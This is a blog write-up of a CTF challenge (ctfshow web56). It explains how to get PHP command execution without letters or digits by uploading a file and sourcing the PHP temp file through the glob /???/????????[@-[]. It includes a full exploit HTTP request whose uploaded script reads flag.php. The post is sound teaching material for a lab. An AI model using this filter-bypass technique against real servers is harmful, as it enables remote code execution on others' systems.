web56(无字母数字RCE)

拜读P神的文章,讲的很透彻

. 命令的作用

  • . filesource file 表示在当前Shell环境中执行指定文件中的命令(而不是启动子Shell)。
  • 例如,在Bash中执行 . script.sh,文件中的命令会直接影响当前Shell的变量、工作目录等状态。

与直接执行脚本的区别

  • 直接运行脚本(如 ./script.sh)需要文件有可执行权限(x),且会在子Shell中执行。
  • . file 不需要文件有x权限,只需有读权限(r),且在当前Shell执行。

我们可以发送一个上传包含RCE代码文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。然后我们用上面的方法执行

/???/?????????这个通配符的文件很多,但是文件名都是小写,只有我们上传的有可以是大写

只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件

大写字母位于@[之间可以用[@-[]表示,最后构造POST包,如果未成功执行可以重发几遍

POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: 9b1febb8-c09e-4610-9cf5-24f019e798dc.challenge.ctf.show
Cookie: _ga_PP4LXQY4W0=GS1.1.1733965285.1.1.1733965624.0.0.0; _ga=GA1.2.242778645.1733965285
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-Forwarded-For: 127.0.0.1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Content-Length: 241


-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/sh

cat flag.php
-----------------------------10242300956292313528205888--

#! /bin/sh 是一个 Shebang(解释器指令),用于指定脚本文件的默认解释器

#! /bin/sh 声明该脚本应使用 /bin/sh 执行

posted @ 2025-05-13 08:19  Susen  阅读(32)  评论(0)    收藏  举报